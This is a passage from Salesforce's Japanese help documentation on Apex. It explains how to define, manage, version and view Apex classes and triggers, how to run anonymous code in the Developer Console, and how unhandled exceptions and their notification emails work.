ブスクリプション契約 (MSA) を趣旨とする当社サービスの一部とはみなされていません。

Apex の構文と使用方法についての詳細は、『Force.com Apex コード開発者ガイド』を参照してください。

Apex 開発者ガイドおよび開発者ツール
『Apex 開発者ガイド』は、Apexプログラミング言語の完全リファレンスです。『Apex 開発者ガイド』には、
言語構文、Apex の呼び出し方法、制限の使用方法、テストの記述方法なども説明されています。Apex コー
ドを記述する場合、Salesforce およびサードパーティのいくつかのツールから選択できます。
Apex クラスの定義
Apex トリガの定義
匿名 Apex コードの実行
開発者コンソールでは、Apex コードを、特定のアプリケーションロジックに対応するデバッグログを生成
する手段としても実行できます。
Apex 例外が発生すると何が行われるか
例外が発生すると、コードの実行が停止します。例外の前に処理された DML 操作はロールバックされてデー
タベースにはコミットされません。例外はデバッグログに記録されます。未対応の例外、つまり、コード
がキャッチしない例外の場合、Salesforce から例外情報を記載したメールが送信されます。エンドユーザの
Salesforce ユーザインターフェースにはエラーメッセージが表示されます。
管理パッケージでの Apex 例外処理
Apex クラスの管理
Apex トリガの管理
Apex のバージョン設定の管理
Apex クラスの表示
Apex トリガ詳細の表示
WSDL からの Apex クラスの作成
Apex ジョブキューの監視
Apex Flex キューの監視
[Apex Flex キュー] ページを使用して、状況が「保留」のすべての一括処理ジョブの参照および並び替えを行
うことができます。または、Apex コードを使用してプログラムで一括処理ジョブを並び替えることができ
ます。
Apex のスケジュール設定
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FAQ - Apex

Apex 開発者ガイドおよび開発者ツール
『Apex 開発者ガイド』は、Apexプログラミング言語の完全リファレンスです。『Apex 開発者ガイド』には、言
語構文、Apex の呼び出し方法、制限の使用方法、テストの記述方法なども説明されています。Apex コードを
記述する場合、Salesforce およびサードパーティのいくつかのツールから選択できます。
• Apex 開発者ガイド
Apex コードの記述には次のツールを使用します。
• Force.com 開発者コンソール
• Eclipse の Force.com IDE プラグイン
• Salesforce ユーザインターフェースのコードエディタ
Web でサードパーティ開発者が作成した Salesforce IDE を検索します。

Apex クラスの定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

ユーザ権限

Apex クラスの定義、編
集、削除、セキュリティ
設定、バージョン設定、
連動関係の表示、および
テストの実行を行う
• 「Apex 開発」

Apex クラスは、Salesforce にメタデータとして保存されます。

メモ: Developer Edition 組織、Salesforce Enterprise Edition のトライアル組織、ま
たは Sandbox 組織を使用している場合にのみ、Salesforceユーザインターフェー
スを使用して Apex を追加、編集、または削除できます。Salesforce の本番組
織の場合、Apex に変更を加えるには、メタデータ API の deploy コール、
Force.com IDE、または Force.com 移行ツールを使用する必要があります。
Force.com IDEおよび Force.com 移行ツールは、Salesforceが提供するユーザおよ
びパートナーをサポートする無料のリソースですが、Salesforce マスターサ
ブスクリプション契約 (MSA) を趣旨とする当社サービスの一部とはみなされ
ていません。

クラスを作成する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apexク

ラス] を選択します。
2. [新規] をクリックします。
3. [バージョン設定] をクリックして、このクラスで使用する Apex および API の

バージョンを指定します。組織が AppExchange から管理パッケージをインス
トールした場合、このクラスで使用する各管理パッケージのバージョンも指
定できます。すべてのバージョンでデフォルト値を使用します。デフォルト
値では、Apex および API についても、各管理パッケージについても、クラス
を最新バージョンに関連付けます。最新バージョンのパッケージのものとは異なるコンポーネントや機能
にアクセスする場合は、管理パッケージの古いバージョンを指定することもできます。特定の動作を維持
するには、Apex および API の古いバージョンを指定できます。

4. クラスエディタで、クラスの Apex コードを入力します。1 つのクラスの長さは、最大 1,000,000 文字です。
@isTest を使用して定義したコメント、テストメソッド、またはクラスは含みません。
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5. [保存]をクリックし、変更を保存してクラスの詳細画面に戻るか、[適用]をクリックし、変更を保存してク
ラスの編集を続行します。作成したApexクラスは、クラスに保存する前に正しくコンパイルする必要があ
ります。

いったん保存されると、クラスはトリガなど別の Apex コードからクラスメソッドや変数を介して呼び出すこ
とができます。

メモ: 下位互換性を持たせるため、クラスは、Apex および API の特定のバージョンのバージョン設定と共
に保存されます。Apex クラスが、インストール済みの管理パッケージ内で、カスタムオブジェクトなど
のコンポーネントを参照する場合、クラスが参照する各管理パッケージのバージョン設定も同時に保存
されます。また、クラスは、最後にコンパイルされて以降、依存するメタデータに変更がない限り、
isValid フラグを true に設定して保存されます。オブジェクトや項目の説明の編集などの表面的な変
更も含め、クラスで使用されているオブジェクト名や項目に変更があった場合、またはこのクラスを呼
び出すクラスに変更があった場合には、isValid フラグが false に設定されます。トリガまたは Web

サービスコールによってクラスが呼び出されると、コードが再コンパイルされ、エラーが存在する場合
にはユーザに通知されます。エラーがない場合は、isValid フラグが true にリセットされます。

関連トピック:

Apex クラスの管理
Apex クラスの表示
Apex のバージョン設定の管理

Apex トリガの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

標準オブジェクト、キャ
ンペーン、ケース、およ
びメールは、
Database.com Edition では
利用できません。

ユーザ権限

Apex トリガを定義する
• 「Apex 開発」

Apex トリガは、アプリケーション内で関連するオブジェクトの下にメタデータ
として保存されます。

メモ: Developer Edition 組織、Salesforce Enterprise Edition のトライアル組織、ま
たは Sandbox 組織を使用している場合にのみ、Salesforceユーザインターフェー
スを使用して Apex を追加、編集、または削除できます。Salesforce の本番組
織の場合、Apex に変更を加えるには、メタデータ API の deploy コール、
Force.com IDE、または Force.com 移行ツールを使用する必要があります。
Force.com IDEおよび Force.com 移行ツールは、Salesforceが提供するユーザおよ
びパートナーをサポートする無料のリソースですが、Salesforce マスターサ
ブスクリプション契約 (MSA) を趣旨とする当社サービスの一部とはみなされ
ていません。

1. トリガにアクセスするオブジェクトのオブジェクト管理設定から、[トリガ]

に移動します。

ヒント: Attachment、ContentDocument、および Note 標準オブジェクトで
は、Salesforceユーザインターフェースでトリガを作成できません。これ
らのオブジェクトの場合、開発者コンソールや Force.com IDE などの開発
ツールを使用してトリガを作成します。または、メタデータ API を使用
することもできます。

2. [トリガ] リストで、[新規] をクリックします。

6582

コードの使用コードを使用した Salesforce の拡張



3. [バージョン設定] をクリックして、このトリガで使用するApexおよびAPIのバージョンを指定します。組織
が AppExchange から管理パッケージをインストールした場合、このトリガで使用する各管理パッケージの
バージョンも指定できます。すべてのバージョンでデフォルト値を使用します。デフォルト値では、Apex

およびAPIについても、各管理パッケージについても、トリガを最新バージョンに関連付けます。最新バー
ジョンのパッケージのものとは異なるコンポーネントや機能にアクセスする場合は、管理パッケージの古
いバージョンを指定することもできます。

4. トリガをコンパイルして有効にする必要がある場合は、[Apex トリガ] をクリックして [有効]チェックボッ
クスをオンにします。組織のメタデータにコードを保存するだけの場合は、このチェックボックスはオフ
にしておきます。このチェックボックスは、デフォルトではオンです。

5. [内容] テキストボックスで、そのトリガの Apex を入力します。1 つのトリガは、最大 100,000 文字までで
す。
トリガを定義するには、次の構文を使用します。
trigger TriggerName on ObjectName (trigger_events) {

code_block
}

trigger_events には、次のイベントを 1 つ以上含むカンマ区切りのリストを指定できます。
• before insert

• before update

• before delete

• after insert

• after update

• after delete

• after undelete

メモ: 定期的なイベントまたは定期的な ToDo の insert、delete、または update によって呼び出さ
れるトリガは、Force.com API からトリガが大量に呼び出されるとき、ランタイムエラーになります。

6. [保存] をクリックします。

メモ: トリガは、最後にコンパイルされて以降、依存するメタデータに変更がない限り、isValid フラ
グを trueに設定して保存します。オブジェクトや項目の説明の編集などの表面的な変更も含めて、トリ
ガで使用されているオブジェクト名や項目に変更があると、Apexコンパイラがコードを再処理するまで、
isValidフラグは falseに設定されます。トリガが次に実行されるときか、ユーザがトリガをメタデー
タに再保存するときに、再コンパイルされます。
参照項目が削除済みのレコードを参照している場合、デフォルトでは Salesforce により参照項目の値がク
リアされます。または、レコードが参照関係にある場合は削除されないように選択することもできます。

関連トピック:

Apex トリガの管理
Apex のバージョン設定の管理
オブジェクト管理設定の検索
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匿名 Apex コードの実行
開発者コンソールでは、Apexコードを、特定のアプリケーションロジックに対応するデバッグログを生成する
手段としても実行できます。

必要なユーザ権限

「Apex 開発」Apex を匿名実行する

開発者コンソールの匿名実行 Apex ツールは、ExecuteAnonymousを使用して入力した Apex コードを実行し、
実行結果でデバッグログを生成します。

警告: testMethodを含むクラスをコールすると、テストメソッドのすべての DML ステートメントが実行
されます。このアクションにより、不要なデータが組織に追加されることがあります。

1. [Debug (デバッグ)] > [Open Execute Anonymous Window (実行匿名ウィンドウを開く)]をクリックして [Enter Apex

Code (Apex コードの入力)] ウィンドウを開きます。

2.
[Enter Apex Code (Apex コードの入力)] ウィンドウに実行するコードを入力するか、 をクリックして新しい
ブラウザウィンドウでコードエディタを開きます。実行完了時に結果のデバッグログを自動的に開くには、
[Open Log (ログを開く)] を選択します。

メモ: 匿名コードにはキーワード static を使用できません。

3. コードを実行します。
a. ウィンドウ内のコードをすべて実行するには、[Execute (実行)]をクリックするか、Ctrl キーを押しながら

E キーを押します。
b. 選択したコード行のみを実行するには、行を選択して、[Execute Highlighted (強調表示を実行)] をクリッ

クするか、Ctrl キーと Shift キーを押しながら E キーを押します。

4. [Open Log (ログを開く)]を選択した場合、ログはログインスペクタで自動的に開きます。コードを実行後、
デバッグログは [Logs (ログ)]タブに一覧表示されます。ログをダブルクリックするとログインスペクタで開
きます。
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5. 同じコードを変更せずに再度実行するには、[Debug (デバッグ)] > [Execute Last (前回のコードを実行)] をク
リックします。コードを変更する場合は、[Debug (デバッグ)] > [Open Execute Anonymous Window (実行匿名
ウィンドウを開く)]をクリックして、前回の入力内容が含まれる [Enter Apex Code (Apex コードの入力)] ウィン
ドウを開きます。

関連トピック:

開発者コンソールの [Debug (デバッグ)] メニュー
ログインスペクタ
デバッグログ
[Logs (ログ)] タブ

Apex 例外が発生すると何が行われるか

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

ユーザ権限

Apex 例外メール設定ペー
ジにアクセスする
• 「設定を参照」

Apex コードを記述する
• 「Apex 開発」

Tooling API を使用する
• 「API の有効化」

例外が発生すると、コードの実行が停止します。例外の前に処理された DML 操
作はロールバックされてデータベースにはコミットされません。例外はデバッ
グログに記録されます。未対応の例外、つまり、コードがキャッチしない例外
の場合、Salesforce から例外情報を記載したメールが送信されます。エンドユー
ザの Salesforce ユーザインターフェースにはエラーメッセージが表示されます。

未対応の例外メール
未対応の Apex 例外が発生した場合、Apex スタック追跡と顧客の組織およびユー
ザ ID を含むメールが送信されます。他の顧客データはレポートに記載されませ
ん。未対応の例外メールは、失敗したクラスまたはトリガの LastModifiedBy

項目で指定された開発者にデフォルトで送信されます。さらに、Salesforce 組織
のユーザと任意のメールアドレスにメールを送信することもできます。これら
のメール通知を設定するには、[設定] から [クイック検索] ボックスに「Apex

例外メール」と入力し、[Apex 例外メール] を選択します。Tooling API オブジェク
トの ApexEmailNotification を使用して、Apex 例外メールを設定することもできま
す。

メモ: 同期実行されるApexコードで重複する例外が発生すると、最初のメー
ルのみが送信され、それ以降の例外メールは抑制されます。このメール抑
制により、開発者の受信箱が同じエラーに関するメールで溢れないように
します。Apex 一括処理や @future のアノテーション付きメソッドなどの
非同期 Apex の場合、重複する例外のメールは抑制されません。

ユーザインターフェースでの未対応の例外
エンドユーザが標準のユーザインターフェースを使用中にApexコードで例外が発生した場合、エラーメッセー
ジが表示されます。エラーメッセージには、次の通知に似たテキストが含まれます。
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管理パッケージでの Apex 例外処理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、および
Enterprise Edition

ユーザ権限

パッケージを作成する
• 「Force.com

AppExchange パッケー
ジの作成」

パッケージをアップロー
ドする
• 「Force.com

AppExchange パッケー
ジのアップロード」

Apex を作成する
• 「Apex 開発」

Force.com AppExchange 用に管理パッケージを作成するときは、Apex によって捕捉
されない例外が発生したときにメールで通知を受け取るユーザを指定できます。
捕捉されなかった例外の発生場所として、次が考えられます。
• Visualforce アクションまたは getter メソッド
• Web サービスメソッド
• トリガ
送信されるメールの形式は次のとおりです。

-------------------------------------------------------------------------------- Subject:
Developer script exception from CLASSNAME Apex script unhandled trigger exception by
user/organization: USER_ID/ORG_ID EXCEPTION_STRING STACK_TRACE
--------------------------------------------------------------------------------

例:
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-------------------------------------------------------------------------------- From:
Apex Application? <info@salesforce.com> To: joeuser@salesforce.com
<joeuser@salesforce.com> Subject: Developer script exception from Gack WS? Date: Mon,
26 Nov 2007 14:42:41 +0000 (GMT) (06:42 PST) Apex script unhandled trigger exception
by user/organization: 010x0000000rfPg/00Fx00000009ejj TestException.Test Exception?:
Gack WS exception Class.Gack WS?.gackTestException: line 4, column 11
--------------------------------------------------------------------------------

同じエラーに対して生成されるメール数は、60 秒間に同じ件名を持つメッセージを 10 件までに制限されます。

Apex クラスの管理

ユーザ権限

Apex クラスの定義、編
集、削除、セキュリティ
設定、バージョン設定、
連動関係の表示、および
テストの実行を行う
• 「Apex 開発」

使用可能なエディション: Performance Edition、Unlimited Edition、Developer Edition、
および Enterprise Edition

Apex クラスは、Apex オブジェクト作成するためのテンプレート、つまり設計図
です。クラスは、他のクラス、ユーザ定義メソッド、変数、例外型、および静
的初期化コードで構成されます。正常に保存されると、クラスメソッドや変数
は他の Apex コードから、または、webService キーワードで指定されたメソッ
ドの SOAP API (または AJAX Toolkit) を介して呼び出すことができます。
[Apexクラス] ページでは、Apexクラスを作成、管理できます。[Apexクラス] ページにアクセスするには、[設定]

から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apexクラス]を選択します。追加の機能開発に
は、開発者コンソールを使用します。
Apexクラスを作成するには、[Apexクラス] ページから [新規]をクリックして、エディタでApexコードを記述し
ます。
開発者は、『Force.com Apexコード開発者ガイド』に示された構文に従ってクラスメソッドを作成できますが、
クラスは、ローカルハードドライブやネットワークに保存されている WSDL ドキュメントを使って自動的に生
成することもできます。WSDL ドキュメントを使ってクラスを作成すると、開発者は Apexの中で外部 Web サー
ビスを呼び出すことができます。[Apex クラス] ページで [WSDL からの生成] をクリックすると、Apex クラスが
WSDL ドキュメントから生成されます。
Apex クラス作成すると、次のことを実行できます。
• クラス名の横にある [編集] をクリックして、簡単なエディタで内容を変更します。
• クラス名の横にある [削除] をクリックして、組織からそのクラスを削除します。

メモ:

– Developer Edition 組織、Salesforce Enterprise Edition のトライアル組織、または Sandbox 組織を使用してい
る場合にのみ、Salesforce ユーザインターフェースを使用して Apex を追加、編集、または削除でき
ます。Salesforce の本番組織の場合、Apex に変更を加えるには、メタデータ API の deploy コール、
Force.com IDE、または Force.com 移行ツールを使用する必要があります。Force.com IDEおよび Force.com

移行ツールは、Salesforce が提供するユーザおよびパートナーをサポートする無料のリソースです
が、Salesforce マスターサブスクリプション契約 (MSA) を趣旨とする当社サービスの一部とはみなさ
れていません。
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– Visualforce ページまたはコンポーネント用のコントローラとして指定されているクラスは削除でき
ません。

– アイコンは、Apex クラスが管理パッケージ内でリリースされたことを示しています。パッケー
ジの Apex クラスには、特別な考慮事項があります。

– アイコンは、Apex クラスがインストール済み管理パッケージ内にあることを示しています。管
理パッケージ内のクラスを編集または削除することはできません。

– アイコンは、以前リリースされた管理パッケージ内の Apex クラスが、次のパッケージのアップ
ロードでは削除されることを示しています。パッケージ詳細ページからは、Apex クラスを削除し
ないように選択できます。

• Apexクラスに webServiceとして定義されたメソッドがある場合は、クラス名の横にある[WSDL]をクリッ
クして、クラスコンテンツから WSDL ドキュメントを生成できます。このドキュメントには、クライアント
が Apex Web サービスメソッドを使用するのに必要な情報がすべて記載されています。生成される WSDL ド
キュメントには、キーワード webService を持つすべてのクラスメソッドが含まれます。

• クラス名の横にある [セキュリティ] をクリックして、Web サービスメソッドなど、最上位のエントリポイ
ントからクラスでメソッドを実行することを許可されているプロファイルを選択します。管理パッケージ
の一部として組織にインストールされているクラスの場合、global と定義されたクラスにはこのリンク
のみが表示されます。

• [組織のコードカバー率を見積る] をクリックして、組織の Apex コードが、単体テストによって現在どの程
度カバーされているかを把握します。このパーセントは、すでに実行した最新のテスト結果に基づいてい
ます。テスト結果がない場合は、コードカバー率は 0% です。

• 1 つ以上の Apex クラスに単体テストが存在する場合は、[すべてのテストを実行] をクリックして、組織で
単体テストを実行します。

• 組織のすべての Apex クラスをコンパイルするには、[すべてのクラスをコンパイル] をクリックします。管
理パッケージからインストールされたクラスの場合、クラスにテストメソッドが含まれる場合、またはテ
ストクラスの場合、これらのクラスを参照し [Apex テスト実行] ページからそのテストメソッドを実行する
には、最初にクラスをコンパイルする必要があります。管理パッケージのクラスは、保存できないため、
[すべてのクラスをコンパイル] リンクを介してのみコンパイルできます。それ以外には、管理パッケージ
以外のApexクラスを保存すると、管理パッケージのクラスが再コンパイルされます。このリンクでは、管
理パッケージの Apex クラスかどうかに関係なく、組織内のすべての Apex クラスがコンパイルされます。

メモ: Apexクラス、Apex トリガ、Visualforceコンポーネント、Visualforce ページ、テンプレート、フォルダ、
Sコントロール、静的リソース、Web リンク、カスタムレポートタイプは、管理パッケージに含まれると
名前空間プレフィックスが追加されます。ただし、「アプリケーションのカスタマイズ」権限がない場
合、名前空間プレフィックスは、テンプレート、フォルダ、カスタムレポートタイプでは表示されませ
ん。

関連トピック:

Apex クラスの定義
Apex クラスの表示
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Apex トリガの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Apex トリガの定義、編
集、削除、バージョン設
定、および連動関係の表
示を行う
• 「Apex 開発」

トリガは、オブジェクトレコードがデータベースに挿入される前や、レコード
が削除された後など、特定のデータ操作言語 (DML) 行動が発生する前後に実行さ
れる Apex コードです。
トリガは、Salesforce にメタデータとして保存されます。組織のすべてのトリガ
のリストは、[設定] の [Apex トリガ] ページにあります。トリガはまた、特定のオ
ブジェクトに関連付けられて一緒に保存され、各オブジェクトのオブジェクト
管理設定に一覧表示されます。追加の機能開発には、開発者コンソールを使用
します。

メモ: Apex クラス、Apex トリガ、Visualforce コンポーネント、Visualforce ペー
ジ、テンプレート、フォルダ、Sコントロール、静的リソース、Web リン
ク、カスタムレポートタイプは、管理パッケージに含まれると名前空間プ
レフィックスが追加されます。ただし、「アプリケーションのカスタマイ
ズ」権限がない場合、名前空間プレフィックスは、テンプレート、フォル
ダ、カスタムレポートタイプでは表示されません。

Apex トリガを作成するには、[新規] をクリックします。

メモ: 関連付けられたオブジェクトからのみトリガを作成できます。[Apex

トリガ] ページからは作成できません。
Apex トリガを作成すると、次のことができます。
• トリガ名の横にある [編集] をクリックして、簡単なエディタで内容を変更します。
• トリガ名の横にある [削除] をクリックして、組織からそのトリガを削除します。

メモ:

• Developer Edition 組織、Salesforce Enterprise Edition のトライアル組織、または Sandbox 組織を使用している
場合にのみ、Salesforceユーザインターフェースを使用して Apexを追加、編集、または削除できます。
Salesforce の本番組織の場合、Apex に変更を加えるには、メタデータ API の deploy コール、Force.com

IDE、または Force.com 移行ツールを使用する必要があります。Force.com IDE および Force.com 移行ツール
は、Salesforce が提供するユーザおよびパートナーをサポートする無料のリソースですが、Salesforce マ
スターサブスクリプション契約 (MSA) を趣旨とする当社サービスの一部とはみなされていません。

• アイコンは、Apex トリガがインストール済み管理パッケージ内にあることを示しています。管理
パッケージ内のトリガを編集または削除することはできません。

• アイコンは、以前リリースされた管理パッケージ内のApexトリガが、次のパッケージのアップロー
ドでは削除されることを示しています。パッケージ詳細ページからは、Apexトリガを削除しないよう
に選択できます。

関連トピック:

Apex トリガの定義
オブジェクト管理設定の検索
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Apex のバージョン設定の管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

管理パッケージは、
Database.com Edition では
利用できません。

ユーザ権限

Apex クラスの定義、編
集、削除、セキュリティ
設定、バージョン設定、
連動関係の表示、および
テストの実行を行う
• 「Apex 開発」

下位互換性を持たせるため、クラスは、Apex および API の特定のバージョンの
バージョン設定と共に保存されます。Apex クラスが、インストール済みの管理
パッケージ内で、カスタムオブジェクトなどのコンポーネントを参照する場合、
クラスが参照する各管理パッケージのバージョン設定も同時に保存されます。
Apex、API、および管理パッケージのコンポーネントが次のリリースバージョン
にアップグレードされた場合でも、クラスまたはトリガは特定の、既知の動作
のバージョンにバインドされたままになります。
パッケージバージョンは、パッケージでアップロードされる一連のコンポーネ
ントを特定する番号です。バージョン番号の形式は
majorNumber.minorNumber.patchNumber  (例: 2.1.3) です。メジャー番号とマ
イナー番号は、メジャーリリース時に選択した値に増えます。patchNumber

は、パッチリリースにのみ生成および更新されます。公開者は、パッケージバー
ジョンを使用して、パッケージを使用する既存の連携に影響を与えることなく
後続のパッケージバージョンをリリースすることにより、管理パッケージのコ
ンポーネントを発展させることができます。
クラスまたはトリガにSalesforce APIおよびApexのバージョンを設定する手順は、
次のとおりです。
1. クラスまたはトリガのいずれかを編集して、[バージョン設定] をクリックし

ます。
2. Salesforce APIの[バージョン]を選択します。このバージョンは、クラスまたは

トリガに関連付けられている Apex のバージョンでもあります。
3. [保存] をクリックします
クラスまたはトリガのパッケージバージョン設定を定義する手順は、次のとおりです。
1. クラスまたはトリガのいずれかを編集して、[バージョン設定] をクリックします。
2. クラスまたはトリガによって参照される各管理パッケージの [バージョン]を選択します。管理パッケージ

のこのバージョンは、より新しいバージョンの管理パッケージがインストールされても、バージョン設定
を手動で更新しない限り、クラスまたはトリガによって引き続き使用されます。インストール済み管理パッ
ケージを設定リストに追加するには、使用可能なパッケージのリストからパッケージを選択します。リス
トは、クラスまたはトリガにまだ関連付けられていないインストール済み管理パッケージがある場合にの
み表示されます。

3. [保存] をクリックします。
パッケージバージョン設定を使用する場合は、次のことに注意してください。
• 管理パッケージのバージョンを指定せずに、管理パッケージを参照するApexクラスまたはトリガを保存す

る場合、Apex クラスまたはトリガは、デフォルトで、管理パッケージの最新のインストールバージョンに
関連付けられます。

• パッケージをクラスまたはトリガで参照している場合は、管理パッケージのバージョン設定は [削除] でき
ません。[連動関係の表示] を使用して、クラスまたはトリガから参照されている管理パッケージがどこに
あるか検索できます。
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Apex クラスの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Apex クラスの定義、編
集、削除、セキュリティ
設定、バージョン設定、
連動関係の表示、および
テストの実行を行う
• 「Apex 開発」

クラスを作成した後に、クラスに含まれるコード、クラスの保存対象のAPI、お
よびクラスが有効かどうかを表示できます。[設定] から、[クイック検索] ボッ
クスに「Apex クラス」と入力し、[Apexクラス]を選択して、表示するクラスの
名前をクリックします。クラスを表示している間に、次の操作を実行できます。
• クラスに変更を加えるには、[編集] をクリックします。

メモ:

– Developer Edition 組織、Salesforce Enterprise Edition のトライアル組織、ま
たは Sandbox 組織を使用している場合にのみ、Salesforce ユーザイン
ターフェースを使用して Apex を追加、編集、または削除できます。
Salesforce の本番組織の場合、Apex に変更を加えるには、メタデータ
API の deploy コール、Force.com IDE、または Force.com 移行ツールを
使用する必要があります。Force.com IDE および Force.com 移行ツール
は、Salesforce が提供するユーザおよびパートナーをサポートする無
料のリソースですが、Salesforceマスターサブスクリプション契約 (MSA)

を趣旨とする当社サービスの一部とはみなされていません。
– アイコンは、Apexクラスが管理パッケージ内でリリースされたこ

とを示しています。パッケージの Apex クラスには、特別な考慮事項
があります。

– アイコンは、Apex クラスがインストール済み管理パッケージ内に
あることを示しています。管理パッケージ内のクラスを編集または
削除することはできません。

– アイコンは、以前リリースされた管理パッケージ内のApexクラス
が、次のパッケージのアップロードでは削除されることを示してい
ます。パッケージ詳細ページからは、Apex クラスを削除しないよう
に選択できます。

Developer Edition 組織、Salesforce Enterprise Edition のトライアル組織、または
Sandbox 組織を使用している場合にのみ、Salesforceユーザインターフェー
スを使用してApexを追加、編集、または削除できます。Salesforceの本番
組織の場合、Apex に変更を加えるには、メタデータ API の deploy コー
ル、Force.com IDE、または Force.com 移行ツールを使用する必要がありま
す。Force.com IDEおよびForce.com 移行ツールは、Salesforceが提供するユー
ザおよびパートナーをサポートする無料のリソースですが、Salesforceマ
スターサブスクリプション契約 (MSA) を趣旨とする当社サービスの一部
とはみなされていません。

• クラスを削除するには、[削除] をクリックします。

メモ: Visualforce ページまたはコンポーネント用のコントローラとして指定されているクラスは削除で
きません。

• クラスに webService として定義されているメソッドがある場合、クラスに基づいて WSDL ドキュメント
を作成するには、[WSDL の作成] をクリックします。
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メモ: isTest と定義されたクラスの WSDL ドキュメントを作成することはできません。

• Apex のコピーをダウンロードするには、[ダウンロード] をクリックします。
• クラスに含まれている単体テストを実行するには、[テストを実行] をクリックします。
• Apex クラスレベルセキュリティを設定するには、[セキュリティ] をクリックします。
• [連動関係の表示] をクリックして、項目、オブジェクト、またはその他のクラスなど、このクラスが有効

であるために存在する必要があるアイテムを表示します。
[クラス概要]タブには、クラスのプロトタイプ、つまり他のApexコードで使用できるクラス、メソッド、変数
が表示されます。[クラス概要]タブには、Apexクラスおよびあらゆる内部クラスに含まれる各メソッドと変数
のアクセスレベルおよび署名が表示されます。使用できるプロトタイプがない場合、このタブは表示されませ
ん。

メモ:

• 管理パッケージに含まれない Apex クラスの場合は、global または public と定義されたクラス、メ
ソッド、および変数のみが表示されます。

• 管理パッケージに含まれる Apex クラスの場合、[クラス概要] タブには、特定のプロパティまたはメ
ソッドが導入されたパッケージバージョンも表示されます。ドロップダウンリストからバージョン番
号を選択して、選択したパッケージバージョンのプロトタイプを確認できます。デフォルト値は、現
在インストールされているバージョンです。パッケージ開発者は、Apex メソッドを廃止して新しい
パッケージバージョンをアップロードし、異なるプロトタイプを持つApexクラスを公開できます。管
理パッケージクラスのプロトタイプには、global として定義されているクラス、メソッド、変数の
みが表示されます。

Apexクラスが、他のクラス、トリガ、カスタムオブジェクトなどのインストール済み管理パッケージ内のコン
ポーネントを参照する場合、[バージョン設定]タブには、参照するコンポーネントが含まれているパッケージ
のパッケージバージョンが表示されます。
[ログの検索条件] タブには、クラスに設定可能なデバッグログカテゴリとデバッグログレベルが表示されま
す。

関連トピック:

Apex クラスの定義
Apex クラスの管理
Apex クラスおよび Apex トリガ用デバッグログの検索条件
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Apex トリガ詳細の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Apex トリガを表示する
• 「Apex 開発」

Apex トリガは、アプリケーション内で関連するオブジェクトの下にメタデータ
として保存されます。[設定] ですべてのトリガを表示することもできます。[ク
イック検索]ボックスに「Apex トリガ」と入力し、[Apexトリガ]を選択します。

メモ: Developer Edition 組織、Salesforce Enterprise Edition のトライアル組織、ま
たは Sandbox 組織を使用している場合にのみ、Salesforceユーザインターフェー
スを使用して Apex を追加、編集、または削除できます。Salesforce の本番組
織の場合、Apex に変更を加えるには、メタデータ API の deploy コール、
Force.com IDE、または Force.com 移行ツールを使用する必要があります。
Force.com IDEおよび Force.com 移行ツールは、Salesforceが提供するユーザおよ
びパートナーをサポートする無料のリソースですが、Salesforce マスターサ
ブスクリプション契約 (MSA) を趣旨とする当社サービスの一部とはみなされ
ていません。

トリガの詳細を表示するには、[設定] から、[クイック検索] ボックスに「Apex

トリガ」と入力し、[Apexトリガ]を選択して、トリガの名前をクリックします。
オブジェクトのオブジェクト管理設定からもトリガ詳細にアクセスできます。
トリガ詳細ページから、次の作業を実行できます。
• [編集] をクリックして、トリガの内容を編集します。

メモ: アイコンは、Apex トリガがインストール済み管理パッケージ内にあることを示しています。
管理パッケージ内のトリガを編集または削除することはできません。

• [削除] をクリックして、組織からトリガを削除します。
• [連動関係の表示]をクリックして、項目、Sコントロール、またはクラスなど、トリガに含まれるApexコー

ドが参照している項目を表示します。
• [Apex のダウンロード] をクリックして、トリガのテキストをダウンロードできます。ファイルは、ファイ

ル名としてトリガの名前を付けて保存され、ファイルタイプは .trg となります。
トリガ詳細ページには、トリガに関する次の情報が表示されます。
• トリガの名前。
• 取引先やケースなど、トリガが関連付けられているオブジェクトの名前。
• トリガが保存された API バージョン。
• トリガが有効かどうか。

メモ: トリガは、最後にコンパイルされて以降、依存するメタデータに変更がない限り、isValid フ
ラグを trueに設定して保存します。オブジェクトや項目の説明の編集などの表面的な変更も含めて、
トリガで使用されているオブジェクト名や項目に変更があると、Apexコンパイラがコードを再処理す
るまで、isValid フラグは false に設定されます。トリガが次に実行されるときか、ユーザがトリ
ガをメタデータに再保存するときに、再コンパイルされます。
参照項目が削除済みのレコードを参照している場合、デフォルトでは Salesforce により参照項目の値が
クリアされます。または、レコードが参照関係にある場合は削除されないように選択することもでき
ます。
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• トリガがアクティブかどうか。
• トリガに含まれる Apex コードのテキスト。
• トリガが、Apex クラス、Visualforce ページ、カスタムオブジェクトなどのインストール済み管理パッケージ

内のコンポーネントを参照する場合、[バージョン設定] セクションには、参照するコンポーネントが含ま
れているパッケージのパッケージバージョンが表示されます。

• トリガがインストール済み管理パッケージ内にある場合、[インストール済みパッケージ] は、パッケージ
名を示します。

[ログの検索条件] タブには、トリガに設定可能なデバッグログカテゴリとデバッグログレベルが表示されま
す。詳細は、「ApexクラスおよびApexトリガ用デバッグログの検索条件」 (ページ6893)を参照してください。

関連トピック:

オブジェクト管理設定の検索

WSDL からの Apex クラスの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
